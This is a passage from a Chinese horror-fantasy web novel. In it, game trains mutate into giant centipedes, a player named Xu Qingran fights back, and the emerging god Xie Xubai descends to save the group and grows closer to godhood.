像是孵化的雏鸟从内部敲碎蛋壳,每次冲撞都让火车内外表面的金属外壳脱落一层,到最后宛如爆炸般,嘭地朝内炸碎,金属碎片四溅! 它们的威力不容小觑,还带着腐蚀的黏液,没来得及躲开或防御的玩家被碎片穿透身体,当场丧命。 幸存的玩家顾不上去慌张。 在一片凄厉的惨叫声里,火车终于冲出昏暗无光的隧道,久违的光亮重新回归众人的视野。 根据地图的显示,出隧道后他们就是第三个站点。 可是眼前的地方真的可以被称作车站吗? 黑泥土覆没的平原,看不见一丝绿色,无数个地洞凹陷下去,宛若蜂巢般连接在一起…… 仍旧有蝙蝠不死心地扒在火车上,直至一团黑影如潮水席卷而来,下一秒蝙蝠发出痛苦的嘶鸣。 ——比挖车挖斗还大的两根粗壮钳子从两边夹住了它,呈黑褐色,半月形,内部有嶙峋锯齿。 再一细看,这哪是什么钳子,分明是个巨大的口器! 口器朝内轻轻一用力,蝙蝠就像脆弱的豆腐,被挤成烂泥,又在锯齿极有技巧的磨锉下,变成一团血淋淋的肉毛糅合的混合物。 口器的主人扬起脑袋,将咀嚼好的蝙蝠吞进肚子里。 庞大的身体宛如参天大楼般立起来,一节连着一节,脚多到数不清,遮挡乌云,终于叫众人看清它的真面目。 一只大得无法想象的,宛若蜈蚣般的巨物,车头暗红色。 好巧不巧,所有的火车车头毫无例外,都是暗红色。 “是我的错觉吗?”有人颤颤巍巍地问,“为什么感觉那怪物这么眼熟?” 如果说那一只还看不出端倪,那么追上来和他们并排往前跑的另一道黑影,就很显目了。 因为它的外壳还没有彻底成形,还能看见车窗、车门和车厢菱角分明的轮廓,和半透明的窗户玻璃。 巨型蜈蚣挥动上百只脚,飞快地在黑泥土上爬行,掠过枯叶,窸窸窣窣,脑袋上的两根触须愉悦地甩来甩去。 与之相对的,是对面被关在车厢里的玩家,疯狂绝望地用双手拍打车窗和门,声音传不出来,只能看见他们嘶喊求救的嘴型,像一出荒诞离奇的默剧。 然而车里众人手脚冰凉,他们知道这一个队伍已经没救了,只因那些人血肉脱落大半,连骨头心脏都裸露出来。 唰—— 淡黄色的黏液如浪潮般从对面火车的后车厢涌到车头,在那些人惊恐的注目中,将他们冲倒、淹没。 只是一眨眼的功夫,一队人就此阵亡! 胃液涌到前面的车厢,火车也彻底异化为巨型蜈蚣,轨道从它的脚下消失,不再约束它的行动。 它似乎吃得很饱,甩一甩粗长的触须,速度慢下来,顺势拐向不远处的地洞。 众人顺着它慢悠悠离开的方向,看向广阔泥地上的地洞。 每一只地洞的附近都栖息着两三只巨型蜈蚣,远远看过去,密密匝匝,不下上百只。 心脏骤停。 “……天啊。” 这是什么地狱? 一直没有队伍抵达终点的系统提示声传来,他们还以为是自己速度够快。 谁想到在他们之前,已经有上百支队伍惨烈沦陷。 而在这时,又有人崩溃醒悟:“X的,为什么没有早点发现,我们刷的小怪就是它们的缩小版啊!” 仿佛醍醐灌顶,众人脑海中浮现当初刷怪的一幕。 铺天盖地的毒虫黑压压地涌上来,他们头皮发麻,大范围攻击技能不要钱似的甩过去,受击的虫子像是宕机般呆在原地。 眼花缭乱的技能特效里,虫子消失了,留下形状不一的零件,浑身包裹黏液,孤零零地掉在地上。 从一开始就是陷阱。 这又不是真正的电子游戏,NPC死掉,道具都得从他的口袋里现掏,打怪怎么会明晃晃地掉东西? 是虫子假死,伪装成的零件。 他们兴致勃勃地用怪物改造火车,结果是将火车变成更大的怪物,亲手把自己喂进怪物的嘴里。 * 不远处紧挨蜈蚣巢穴的第三个站点,广告牌滋啦作响,瘦长鬼影再次出现在大荧幕上,笑眯眯地开口。 “咳咳,刚才出现了一点放送事故,不好意思让各位观众久等了。” “接下来我们要讲的是《养爬虫的一百条注意事项》。” “……蜈蚣是一种肉食性昆虫,昼伏夜出,少数情况下会在白天行动猎食。凶残且毒性极高,胃液淡黄色,具有极其刺鼻的气味。 它们喜欢潮湿阴暗的环境,卵的孵化则需要高热的温度。 研究表明,蜈蚣在气温25℃~35℃,相对湿度60%~70%的环境下相对比较活跃,主要集中在热带和亚热带地区。” …… “虫子的食谱取决于猎物的大小,请注意避开那些看上去很恐怖的大家伙们,远离它们的巢穴,不要挑战穴居动物护巢的天性。” 瘦长鬼影露出闪亮白齿,笑得诡谲:“如果有观众想到热带雨林冒险,一定要记住做好防护,随身携带防虫喷雾哟。” 第212章 观光小火车(12)…… 火车的异变不在一瞬间。 漫长的黑夜令它安然成卵,热带雨林的高热气候将它孕育孵化,蝙蝠的血肉为它提供充足的营养。 如今,淡黄色黏液从后车厢蔓延到前车厢,嶙峋森白的脊骨在膨缩的血肉中成型。 腐蚀性酸气弥漫,温度不断升高,皮肉灼痛难耐,整个火车内部正在以无法逆转的走势转化为昆虫的胃袋。 越来越多的玩家为了躲避胃液挤进第一节 车厢。 迫于疯子的威名,他们不敢觊觎看起来很安全的驾驶室,转头用力地打砸车门车窗。 缝隙早已黏合在一起,被坚韧的薄膜覆盖,嘭嘭嘭!怎么踢踹都无法撼动分毫。 一张张脸染上绝望,终于和刚才遇难的队伍无限重合。 但无论是莉莉丝还是许清然,都没有提议放人进驾驶室。 她们都经历过类似的困境,知道一旦打开这个门,最后必以流血收场。 这时许清然发现驾驶室没有酸液渗出。 白光似乎能够延缓异化。 她尝试把白光挪出去,然而白光刚离开驾驶室,火车后车厢的黏液就变得更加汹涌,泛滥成灾,惨叫声也此起彼伏。 许清然不得不让白光回到原位,继续照射操作台。 说不上是不是运气好,她最初想着驾驶室不能出事,托着白光跑过来,居然意外控制了异化。 莉莉丝突然用中文说:“有人告诉我,因为我们将一次又一次地涅槃,所以死亡绝对不会成为我们的终点。” 许清然半晌才听出对方是在安慰她,收回看向玩家的视线,摇了摇头,语气冷淡:“我没有在可怜他们。” 相反还很羡慕。 至少那群人死后直接清空记忆,不会被惨死时的痛苦折磨。 时间真的能够改变很多东西,以前的许清然会心疼,会害怕,会呼吁爱与和平,现在的她越来越漠视人命。 和疯子一起行动的路上,她也发现自己其实没有想象中那么难以接受。 她不止一次怀疑自己到底是因为谢叙白的项圈对疯子感到放心,还是觉得自己已经和人群格格不入,将疯子视作了未来的同类。 莉莉丝看着她,半晌,淡笑着感叹一声:“原来那个时候,在那个人的眼里,我是这个样子。” 这话莫名其妙得像是在打哑谜,许清然还没作出反应,就被莉莉丝拉起另一只握住长鞭的手。 不知什么时候,她的指尖颤抖地掐进掌腹,渗出丝丝鲜血。 斑驳的血印子瞬间成为少女心口不一的证明。 许清然:“……” 少女先是讶异,似乎始料未及,随后瞪大眼,眼看着就要恼羞成怒。 莉莉丝从善如流地指向窗外:“讨厌它们吗?” 许清然有理由怀疑莉莉丝是害怕被她丢在地上,在尝试转移怒火。 但目光顺势看过去的瞬间,她就没了和对方计较的心情。 广告牌上,瘦长鬼影西装革履,将玩家的痛苦侃侃而谈,高高在上地将人性批判为丑陋的无用品。 “我曾见过两个人类被关在不断加热的房间里,拿着遥控器的那人明明可以给自己的朋友一个痛快,然后顺利活下去,他非要拖到最后一秒才按下开关,不仅让朋友受尽折磨才死,自己也失去了逃跑的机会。” “好笑的是,他死的时候还在哭,说什么对不起。既做不到将存活的机会让给别人,又做不到坦率地把别人当垫脚石,最后落到双双丧命的下场。优柔寡断,败事有余,这就是大多数人类的特性,难怪他们做什么事都没法成功。” 美满的家庭妻离子散,同甘共苦最后兄弟阋墙,致爱的亲人阴阳两别…… 玩家一路所经历的苦难、折磨和挣扎,这一刻通通变成它们茶余饭后的笑谈。 许清然默不作声地盯着瘦长鬼影笑眯眯的脸,嗓音沙哑地问莉莉丝:“你这么问,是不是有杀死它们的办法?” “我没有。”莉莉丝的眼眸中,恒星缓慢转动,“但是你有。” 许清然:“我?” 莉莉丝不动声色地瞄了眼窗外,栖息着上百条蜈蚣的巢穴近在咫尺。 她示意许清然看向身旁的白色光团:“只要对着它呼唤那位存在的名字,祂就会赶来救下大家。也只有祂能够救下大家了。” 与莉莉丝对视的刹那间,仿佛有一丝灵光自脑海中炸响,许清然想起一个名字,一个她没法忘记又不敢去想的名字:“你说的那位存在,难道是谢叙白?” 见莉莉丝没有否认,许清然的大脑一片空白。她不敢置信自己听到了什么,紧盯着莉莉丝的眼睛,希望对方是在开玩笑,但莉莉丝仍旧是那副煞有其事的模样。 强烈的荒谬感如潮水般涌上心头,许清然脱口而出:“不可能!” 意识到自己情绪失控,她猛然抿住嘴唇,一字一顿地说道:“你知不知道——” 知不知道我不止一次在绝境下呼唤过祂的名字?知不知道祂一次都没有回应过我的祈祷? 莉莉丝却说:“如果祂真的对你不管不顾,又怎么会给你赐福呢?” 莉莉丝抬起手指,解除白光的认知干扰。 白光逐渐变化为璀璨的金色,光晕氤氲,温暖圣洁,倒映在许清然猛然瞪大的瞳孔中。 莉莉丝循循善诱:“来吧,试着呼唤祂的名字,难道你不想救下车里的大家吗?” 许清然呆滞地盯着金光,像是完全没听到她说话,突然间后车厢传来凄厉的痛呼:“酸液涌上来了,快往前挤一挤啊!!” “救命,我们该怎么办!” “啊啊啊啊啊啊!” 一个激灵,许清然下意识喊道:“谢叙白,求您了,救救我们!” 然而金光依旧沉静,无声地悬在半空。 没有突然出现一位仁慈强大的神祇解救众人于危难之中,没有任何的奇迹发生。 这就是她以前遇到的情况!许清然的心登时凉下去半截,用力地咬住后槽牙。 她兀地一抬眼,眼神凛冽如鹰隼,从空间背包里抽出登山绳,对莉莉丝说了一句:“抱歉,你先忍耐一下。” 然后用最快的速度将莉莉丝绑在自己的背上。 确定任务目标不会掉下去,许清然抽出腰间的长鞭,鞭子在她攥紧的瞬间化作一柄锋利的长剑。她闭上眼,捕捉周围能量丝丝缕缕的流动,耳边响起人们痛苦的叫喊,掠过瘦长鬼影恶心的笑声。 “莉莉丝。”许清然突然说,“你说只有神能够救下我们,我不信。” “难道神不回应我们,我们就要坐以待毙等死吗?” “绝不!偏不!”许清然猛然睁眼,双手举起长剑,怒吼出声,“神不救我,我自救!一样能活!” 锵! 长剑向前击打,正中操作台的红色仪表盘,劈开一条偌长的缝隙,那是整列火车最薄弱的部位!但很快这条缝隙就开始收缩愈合。 许清然没有停下,用最快的速度最大的力气全力挥剑!操作台震得她虎口开裂,她视若无睹,剑光如电划破空气,三尺寒芒似风迅疾!没有停滞的进攻将操作台越劈越开,越劈越开! 终于破开那状似坚韧的薄膜,一举扎入柔软的肉里,血液飞溅而出! 吼—— 底下的火车发出一声痛吟,偏离原本的行驶轨道,发疯地撞上旁边躲懒的巨型蜈蚣。 蜈蚣没有健壮的体格,受体在特异性进化后对毒液的亲和感特别弱,也就导致它们的抗毒能力较强,同类斗争一般靠触须散发的震慑气息完成,很少真枪实弹地肉搏。 但这是异化的巨型蜈蚣。 它们有坚硬狰狞的口器,有残忍嗜血的天性,半点都受不得激,被许清然他们的火车撞了一下后,当即恶狠狠地反咬一口。 喀拉!喀! 口器扎入火车,火车在剧痛驱使下疯得更加彻底,直接和那条巨型蜈蚣撕咬起来,在黑土地上翻滚绞杀。 最后是异化完全体的巨型蜈蚣占据上风,狰狞口器将车身嚼碎,用力地将火车刚成型的脊骨沾血带肉地抽扯出来—— 火车顶部开裂了,光线犹如黎明的第一缕阳光照射到车内,所有人喜极而泣。 “得救了,能出去了,大家快往上面钻!” 有人快步上前,顺着开裂的车壁,用武器凿出更大的窟窿。有人聚在一起,手拉着手,相互搀扶,找准时机磕磕绊绊地挤出宛如地狱的火车胃袋,落在地上。 空气变得清新,没有黏稠的酸气腐蚀皮肤,狭窄的视野豁然开朗。 然而不等所有人露出劫后余生的笑脸,十多条被动静惊扰的巨型蜈蚣犹如黑压压的潮水倾轧而来! 人们的脸迅速灰败下去。 结束了吗? 彻底玩完了吗? 一道黑影在火车顶部几下纵跃,利剑在半空中化作嶙峋长鞭,如龙的脊骨,挥向蜈蚣潮。 “开什么玩笑!”许清然怒吼,“死了又不是不能活!怕个X!都给我站起来!!” 但那也只是吼得大声一点罢了。 许清然盯着长鞭挥向蜈蚣的落点,这一刻无比清楚。 ——她从柔软的内部都只能勉强破开蜈蚣的防御,更没有可能和这些强大的怪物正面抗衡。 ——她会死。 但是我不认命。 许清然对自己说。 绝不认命。 刹那间,跟随在她身边的金色光团猛然大涨,比烈阳还要耀眼的光辉附着在许清然的长鞭上,凌空挥出一击,将眼前的几条蜈蚣劈成碎末,又落在黑土地上。 大地崩裂,群虫退避,传出山呼海啸般的震响!凌厉神力一圈圈地朝外荡漾,划出绚烂的光芒! 许清然震惊到大脑放空,反应过来的时候已经在往下掉了,吓得手忙脚乱。 也是这时,金光徐来,将她温柔托举,稳稳地放在地面。 许清然看着近在咫尺的金光,心跳如擂鼓,手脚并用地站起身,和其他人一起震撼地抬头。 光芒散去,飓风流转,一道清瘦的身影现身于空中。金光的余晖倒映在祂温柔的眼底,刹那间宛若璀璨繁星。 第213章 观光小火车(13)…… 谢叙白曾经问过宴朔,为什么他的精神力一直在稳步增长,却总也捕捉不到成神的契机。 彼时宴朔正坐在田坎上,准确点说,是坐在精神世界花田中央的田坎上,静静地看着被白花簇拥的青年。 丛生的花朵随风摇曳,不知不觉,已经与山草齐高。 青年的精神体纯净到通透,阳光下泛起一层瓷白的光晕。 他盘腿坐在这片连绵不断的白色花海。风吹动花,也吹动他柔顺的鬓发,睫毛扑扇,含着温柔笑意的眼眸自然弯曲,落下一片深邃细密的剪影。 宴朔不错眼地看着,不知不觉,后背便放松地靠上土堆,一只手搭在屈起的大腿上,一只手随意地垂落,心情很好地敲起不知名的小曲节拍。 陡然间青年抬起眼睛,眼底如湖泊,自下而上蕴起明亮溢彩的天光:“宴总……” 宴朔不可避免地和他对视在一起。 成片的花儿忽而被惊动,无措地倾斜身子,欲盖弥彰地躲避着谁的窥探,一圈又一圈地漾开雪白花浪。 乌云散开,狂风止声,湛蓝天空一缕暖黄的阳光洒向大地,整个世界都好像亮了起来。 “宴总?”谢叙白狐疑地重复,“你在想什么?” 宴朔停顿好几秒,方才若无其事地问:“嗯,没事……你刚才说了什么?” 谢叙白:“我是不是应该多去增加自己的身份?” 宴朔恢复往日波澜不惊的口吻:“岑向财当初让你增加身份获取力量,确实不失为一条有效的捷径,但这种捷径同时也是一把双刃剑。” 他举出品牌请明星来打广告的例子。 明星的名气广、口碑好、热度高,就能让产品轻松大卖。 可一旦ta爆出恶劣丑闻,产品的名声也会跟着一落千丈,不仅会影响到原本的销售市场,连决策人的眼光和职位也会遭到质疑。 “换句话说,和你建立关系的对象必须要强大,要知名度高,要有一定举足轻重的地位和权势。 但同时又能适配你当前阶段的实力,不能过分压制你,要不然你就会反过来受到这一关系的制约,如【吸血鬼的使魔】永远摆脱不了吸血鬼的奴役。” “岑向财的业务能力可以,此前为你挑选的身份也算差强人意,但现在你的实力已经上来了,再想获得显著提升,必须找半神或是神明级的存在建立联系。” 宴朔扫了一眼认真聆听的谢叙白,似是不经意地提议:“如果你不介意,可以找个时间去给宴一办理领养手续。” 谢叙白愣了一下:“什……” “玩笑而已。”宴朔面不改色心不跳,话锋一转,“就算要领养也得在你成为半神之后,不然你的力量无法驾驭它,暴走失控的时候难免伤到你。” 花丛中钻出来一根暴怒的触手:“你瞎说!我怎么可能伤害白白?” 宴朔瞥它一眼,传递只有祂们之间才能听到的意念:“你是不可能伤害他,但如果你看到人类身边有了其他的小宠物,人类爱它们多过爱你,手腕不让你缠,让它们去抱去摸,每天的晚安吻也不再有,而是抱着它们亲来亲去,连以前哄你夸你的话也只会对着它们说,你能忍住不把它们丢进海里?” 小触手听到一半就已经僵住了,听完后更是如遭晴天霹雳。 “到那时候你只会想把喜欢的人类关起来,无人可以觊觎,无人可以触碰,让他只能属于你,也只能被你抱在怀里。” 宴朔的口吻突然淡了许多:“然而人类是群居生物,与社会彻底断绝关系的人类通常会郁郁寡欢,一蹶不振,像花一般凋零,何况谢叙白这样喜欢热闹、享受世界的。” 说到这里,祂停了下来,无声地将这几段话在心里重复十多遍,直至某个危险的想法再也冒不了头。 方才冷眼睨去,威压似重锤砸在小触手的心头,眸中血色浮现,每一个字都带着冰冷警告:“不想让这样的事情发生,就管好自己,不要逼迫人类承认你们之间的关系,除非人类已经强到和你势均力敌。” 小触手努力思考,可还是转不过弯来,脑子嗡嗡的:“可是为什么要势均力敌?我怎么可能成为白白的敌人?” “白白!”小触手跳起来,委屈地缠住谢叙白,超大声嚷嚷,“你相信我,我不会伤害你的!我也不会成为你的敌人!永远永远都不会!真的真的真的真的,你一定要相信我!不然你把精神力嵌进我的脑子里吧,如果我要伤害你,你就——” 谢叙白不知道宴朔暗中对小触手说了什么,孩子突然就急得快哭出来了,还在说一些让他心惊肉跳的话,连忙震声打断:“我相信我相信,小一肯定不会伤害我!不慌不慌……什么傻话!” 他疾声厉色,坚决打消小触手那危险的念头,又连忙将慌张的小家伙抱起来亲一亲,拍拍安抚,皱眉对男人极其不赞同地说道:“您别老是吓唬它。” 宴朔:“……” 他不留痕迹地按了一下酥麻的大腿,突然感觉自己多余对宴一解释。 这里是祂的意识世界,祂可以控制一切,包括风、雨和泥土。 其实宴朔想幻化一把椅子,毕竟坐在地上成何体统。 但不知道为什么,看见青年自然席地而坐,笑着去抚摸欢欣摆动叶子的小花,他也鬼使神差地坐了下来。 隐隐约约,不想破坏眼前的一幕。 宴朔继续说道:“况且【身份】基于他人的认知成型,现如今不管什么身份,都不如普罗大众眼里的‘你就是【神】’这一认知,与其花心思去和谁建立关系,不如多收集信仰。” 谢叙白:“所以我没法成神,是因为信仰收集的还不够多?” 却得到了相反的回答。 “没有典故传说传播和延续知名度,确实是凡人成神的一大问题,但这个问题对你来说不是问题。” 宴朔:“没有发现么,你现在已经有了不少信徒。” 谢叙白下意识内视自己的精神世界。 虽然能看到那千丝万缕的信仰线,但他其实没什么实感,只能大概分辨出谁是谁,那些人现在的状况又如何。 谢叙白不止一次尝试和这些信仰线建立更深层次的联系。 就像电视小说里的那样,只要一个念头就能和信徒实现空间、时间上的无障碍沟通。 结果依然毫无动静。 或许从数量上看,他的信徒人数非常可观,但那些信仰线时不时就会断裂消失,并不稳定。 还有一点让谢叙白很在意,那就是只有在极其稀少的情况,他才能听到信徒的呼唤,并顺利予以帮助他们的力量。 其他绝大多数情况,他都只能眼睁睁地看着信徒的生命之火在绝境下熄灭。 为此不止一次怀疑自己,是不是因为他的力量太弱了,才让信徒们跟着受苦。 “弱小?你一直这么轻视自己么。”宴朔的声线没有变化,却斩钉截铁得如同陈述一个事实,“谢叙白,无论是你获得力量之前还是之后,你从来都不弱小。” 谢叙白一愣,又听到宴朔说:“如果你一定要把问题归结在自己的身上,只能怪你没法改变自己的观念。” 谢叙白忍不住追问:“什么观念?” “其一,做不到理所当然地把信徒当成自己的所有物。其二,看到玩家狂热地将自己奉为神明,第一反应不是窃喜而是担忧,担心自己德不配位,担心信徒会迷信你到失去自我。” 宴朔:“其三,明明可以用精神力篡改玩家的思维,将他们变成听话的傀儡,收获大批稳定的信仰,却从未想过要那样去做。” 谢叙白听得不舒服,下意识驳斥:“用精神篡改收获信仰,那和邪门歪道有什么两样?” 宴朔不置可否:“是邪门歪道,但能成神。” “……”谢叙白沉默一会儿,直截了当地说道,“抱歉,我做不到。” 宴朔看着谢叙白,漠然凌厉的眼神温和下来,嘴角勾起一抹细微的弧度,但稍纵即逝,很快恢复老成持重的样子。 “我猜你在看到有些信徒偷鸡摸狗的时候,还会忍不住给他们一些小教训。” 宴朔:“信仰的神明不仅没有给予好处,还会妨碍他们‘做大做强再创辉煌’,当然会流失掉这些所谓的‘信徒’。” 谢叙白嘴角抽搐,因为宴朔完美地说中了前半部分。 至于后半部分,他当然无所谓那部分信仰的流失。 但宴朔也清楚地点明了他的症结所在。 大部分普通人只求身体安康,但予求予给多了,难免发展出魔怔的狂信徒,最后组织全体来一场轰轰烈烈的祭神仪式,祸害四方。 只要谢叙白一直担心这类事故的发生,就一直无法全心全意地接受人们的信仰,自然一直没法捕捉成神的契机。 那他要怎么和真心求助的人建立联系,又要怎么和系统对抗? 至于以大局为重,稍微放宽点限制——这种抱柴救火的念头,谢叙白只会果断否决。 “现在该怎么办……” 他头疼不已,往后瘫坐下去,仰天发出痛苦的呻吟。 小触手和满地花花涌上来,安慰地拍拍他。 对淡然克制的青年来说,这为难的小表情堪称活泼,重点是终于愿意在他的面前袒露真性情。 宴朔心软了又软,微不可察地压住嘴角翘起的弧度。 直至谢叙白察觉到视线看过来,他才自然而然地说:“你的想法没错,予求予给的不是神,是许愿机,培养出来的信徒也不是人,是孵化欲望的妖茧。” 成神路上充满类似的陷阱,守不住本我的神祇早晚会堕落异化,变得比怪物还不如。 然而谢叙白一路走来都是坦坦荡荡,刀山火海亦是坚定不移。 所以他会走得艰难,磕磕绊绊,亦会避开这些陷阱和深渊,走得璀璨光明。 “你不是缺少他人的信仰,是缺少信徒能与你的信仰共鸣,彼此响应。所谓信徒的信仰,何尝又不是神明意志的存续。” 宴朔:“如果是其他神祇,很难找到这样的信徒,但你不一样。” 谢叙白忽然发现,宴朔久违地笑了。 他很难形容那是什么样的笑容,只知道传递过来的情绪如潮浪翻涌,澎湃不休。 “谢叙白,你生为人,长为人,秉持着人类的意志,为人类请愿成神。终有一日,你也将在人群中看见无数耀眼的人类意志如繁星般冉冉升起,与你辉映云集。” 时过境迁,日月轮转。 直至今日今时,精神世界突然有一根信仰线爆发出炙热明亮的光辉,就好像一扇紧紧关闭的大门忽然打开一条缝。 顺着这条缝,谢叙白推开门,传送到许清然这支队伍的附近,看见巨型虫潮奔涌而至,半空中的人影分明那样渺小,却无畏挥鞭,向死而生。 当谢叙白发自内心地惊叹、认可和肯定时,力量的给予是那样顺理成章,如行云流水。 而当充满神力的一击斩除虫潮,许清然猛然抬头,怔愣盯住他的眼中逐渐溢出水雾的那一刻。 谢叙白惊讶发现自己成神的进度从57%猛然上升到了60%! 此时此刻,他终于明白宴朔最后那段话的深意。 静默良久后,情不自禁地笑出声。 胸口涌动着难言的情绪,比岩浆炙热,比海啸澎湃,是庆幸、放松,还是欣慰? 谢叙白难得没能分清。 他只是压不住嘴角的笑容,不停地想。 ——真好。 等到宴初一等人赶到蜈蚣巢穴,已经是两小时后的事情了。 作者有话说:谢叙白:每一天都比昨天更爱这个世界!我们人类超棒哒!超棒哒!!超!棒!哒!!![撒花][撒花][撒花] ——虽然有点夸张但谢叙白一直都是这种心态,一款理想主义犟种。 顺带一提他和生母一样喜欢记录生活美好瞬间。 前几世谢语春和裴玉衡演讲的时候,谢叙白听到让他激动的地方会心潮澎湃地想要记录下来,不过因为画画超烂所以一般选择录像拍照。 第214章 黑王(1) 见到徐队长等人,幸存的中洲区玩家激动得不行:“你们一定想不到我们刚才看见了谁——是谢叙白!谢叙白在这次的副本里!谢叙白啊!” 本以为能见到徐队长他们震惊艳羡的表情,岂料一群人平静得很。 开口的那人愣了一下:“你们难道没听说过吗?就是那位强大到可以更改系统规则.和各大副本诡王沾亲带故.能让人直接通关的神秘神祇谢叙白啊!” 徐队长和其他人交换眼神,笑容核善:“谢叙白?我们当然知道,不过在此之前有个问题想问问这位小兄弟。” “——就是你们偷走了我们队友的车?” 那人:“……” 五分钟之后,几乎所有逃跑未果的幸存者都被护犊子的巅峰成员逮了过来,给宴初一他们道歉。 谁都没想到秩序崩坏这么长时间,居然还能重新体会被教导主任“亲切”问候的恐惧,一个个被说得头晕眼花,恍恍惚惚。 一个没留神,就被后勤小姐姐忽悠着报名登记,所有人并为一个队伍。 不用自相残杀固然让人惊喜,后续双方交换情报,得知333号队伍这边不止在开场就遇到了谢叙白,队伍里还有一名正儿八经的眷属,更叫他们震惊。 迄今为止,谢叙白出现过的副本全部顺利通关,眷属出现更是双重buff保险! 加上这次闯关玩家中有一名【9】,或许他们很快就不用再过这种心惊肉跳的生活了! 宴初一看着欢呼雀跃的人群,不知道是不是跨入另一个境界,心态也有所不同,情不自禁地笑了笑。 身后似有若无地飘来一道热切的视线,从听到他是谢叙白眷属后就一直没挪开。 宴初一头也不回,心平气和地点明:“那位一直在偷看我的同学,你有什么想问的吗?” 既然被发现,许清然干脆不再掩饰,大大方方地走过来介绍自己:“你好,许清然。” 她面向宴初一露出手背:“拥有这个徽记,是不是代表我已经成为了谢叙白的眷属?” 就在刚才,赐福金光落在她的手背上变成神眷者徽记。 曾经在神级玩家身上看到过类似徽记的许清然,简直不敢相信自己的眼睛,到现在脑子还懵着,像在做梦一样。 许清然看着平静得很,却有强烈的不安源源不断地传来,宴初一略微停顿一下,也抬起手:“对,你看。” 看见青年手背上浮现出金纹勾勒的徽记,许清然屏住呼吸,仔细比对,发现两个徽记神力同源后:“真的一样……!” 刹那间仿佛心中有一块巨石落在地上,许清然眼中溢出水雾,连忙用手按住才没有掉出来,喃喃道:“原来祂真的没有厌弃我。” 对当初这位唯一不吝啬善意的小姑娘,宴初一心里其实是有些愧疚的。 那时他表面对许清然多加关照,实际是想借对方为突破口,混入玩家队伍解救平安。 却没想到许清然会因为自己被疯子纠缠杀害,后面又一直受到观众的冷嘲热讽,差点一蹶不振。 就是怕对方再次因为自己陷入麻烦,他才会给赐福光团施加认知干扰,结果许清然再次误会遭到厌弃,陷入深深的自我怀疑。 幸好这件事算是平安收场。 但问题也接踵而来。 究竟是谁给许清然解除了认知干扰? 宴初一顺势问道:“其实谢叙白……” 许清然正在努力平复激动雀跃的心情,闻言和条件反射似的:“我们作为眷属,直呼契约神祇的尊名是不是不太好?” 宴初一改口:“其实谢神……” 许清然:“也不可以!要像其他眷属一样称呼‘吾神’,这样才算正式。” 她贴近宴初一,语重心长地小声说:“我此前有接到过顶级公会的委托,得到情报称吾神大概率是新生神祇,几次在玩家面前声势浩大地露相都是为了收集信仰,作为眷属的我们相当于是吾神的代言人和排面,千万不能坠了祂的威名!” 宴初一:“……” 该说不说,那些顶级公会收集到的情报还挺准。 许清然目光炯炯,仿佛只要宴初一拒绝,她就会一直劝到青年答应为止。 宴初一决定先把羞耻心抛到脑后,从善如流地改口:“其实吾神有个问题委托我问你,之前你有没有和什么看上去不一般的人在一起过?” 许清然果断说:“有。” 在她手指的地方,疯子懒洋洋扛着镰刀,目不转睛地盯着布莱恩脖子上的同款项圈,状似友好地交流案情:“巧啊兄弟,你又是犯了什么事?” “……”宴初一眉毛跳了跳,“我想谢,吾神要问的应该不是他。” “我这一路上都是独来独往,没有接触过什么人,如果吾神想问的人不是疯子,那就只有我的任务目标了。” 许清然看向手背上的徽记,想到莉莉丝,忍不住皱了下眉头。 既然知道谢叙白并非漠视,就不难推出催动神力需要先达成某项条件。 看似是她的运气好,歪打正着地触发了这个条件,可仔细想来,莉莉丝揭露谢叙白赐福的时机未免过于凑巧。 如果不是知道光团是谢叙白的赐福,她不会在那时情绪失控,攻击操作台,让火车吃痛撞到旁边的巨型蜈蚣,从而引发之后的一系列事件,促使谢叙白降临。 其实仔细一想……那可是掌握命运四神器之一的【占星师】,她的一言一行,可能存在巧合吗? “我也是落地后才发现她消失了,而我竟然一点都没有察觉。” 许清然:“直觉告诉我,莉莉丝提起吾神时怀念的语气不是作伪。” 要不是这样,她也不会轻易卸下防备。 这话给宴初一提了个醒。 说不定那人真的是自己某一世的熟人。 只是不知道是盟友,还是敌人。 —— 休整半小时左右,众人再次启程。 由于车厢不够,剩下的玩家干脆坐在火车顶上,用绳子固定好,也不怕掉下去。 谨慎考虑,宴初一和布莱恩还是继续用屏障隔离,找玩家做了个小推车,栓在火车尾部,控制速度往前开。 如今的333号队伍已经壮大到三百多人,估计之后好几个队伍加起来都不一定有他们的人多。 根据地图显示,下一站就是终点站,游戏王国。 呜呜—— 发动机嗡鸣作响,轮对碾上轨道扬起尘土,视野逐渐变得开阔。 随着火车的长时间行驶,一直屹立在天边的黑塔似乎真的与他们拉近了距离。 也因为距离变近,整座塔更显得高大雄伟。 不夸张地说,它的横距几乎占据了整个视野,人和它相比,就好像蚂蚁直面参天大树,再怎么努力抬高视线,都望不到边。 无数玩家紧张到掌心冒汗。 大概这就是压迫感吧,他们有种只要进去这座黑塔,哪怕到死也无法逃脱出来的感觉。 侦查员倏然睁大眼,急吼道:“不对劲,前面好像是悬崖!” 前面确实是悬崖。 就在陆地和黑塔之间,横跨着一条天堑般的悬崖,目测至少几百米! 徐队长果断下令放缓车速,又提议:“黑塔就在前面,我们下车,尝试一下能不能用飞行道具飞过去。” “不行徐队长!”有玩家焦急大喊,“系统提示特殊地图,无法使用任何技能和道具!” 驾驶室跟着传来噩耗:“队长,没办法减速刹车!火车好像受到异常磁场干扰失去控制了!!” 话音未落,嘭一声巨响,火车轮对与钢铁轨道滋啦刮出激烈的火花,剧烈的震动下车子内外人仰马翻,车顶的人更是差点掉下去,慌张抬头,两边景色飞速倒退——这列火车竟然在加速! 系统提示声响起。 【叮!火车即将驶入终点站,请各位玩家做好准备。】 下一秒,黝黑悬崖的上空竟然出现了一条没有支架完全悬空的轨道。 看起来很凶险,但现在无路可逃。 徐队长拨开人群,着急地来到后车厢,声嘶力竭地大吼道:“宴初一,你们赶快回来,技能道具都不能用了,挂在外面可能要出事!还有车顶上的人,全部都进来,没位置大家就努力挤一挤!不要有一个人掉队!” 推车虽然有栏杆,但很浅,火车加速的瞬间宴初一差点被颠出去。 布莱恩顾不上站稳连忙把人抓住,听到青年果断说:“我还能催动神力,等下我先把你丢上车顶,然后你再用绳子把我拽过去。” 突然被金光裹住的布莱恩下一秒被风沙糊脸:“whattttttt——!” * 水墨空间闭目养神的斗篷人睁开眼睛,用意味不明的眼神凝视着谢叙白:“有意思。” 谢叙白敏锐地发现,斗篷人的语气变了。 斗篷人准备落子,但ta这次不是直接从庞大的棋子库里取子。 丝丝缕缕的黑红色精神力线条从意识海涌出,又在ta的掌心汇聚。 底下喜滋滋地张着嘴巴等大餐的巨鱼猛一下沉入水里,掀起惊天浪花,像是畏惧着什么,迟迟不愿露面。 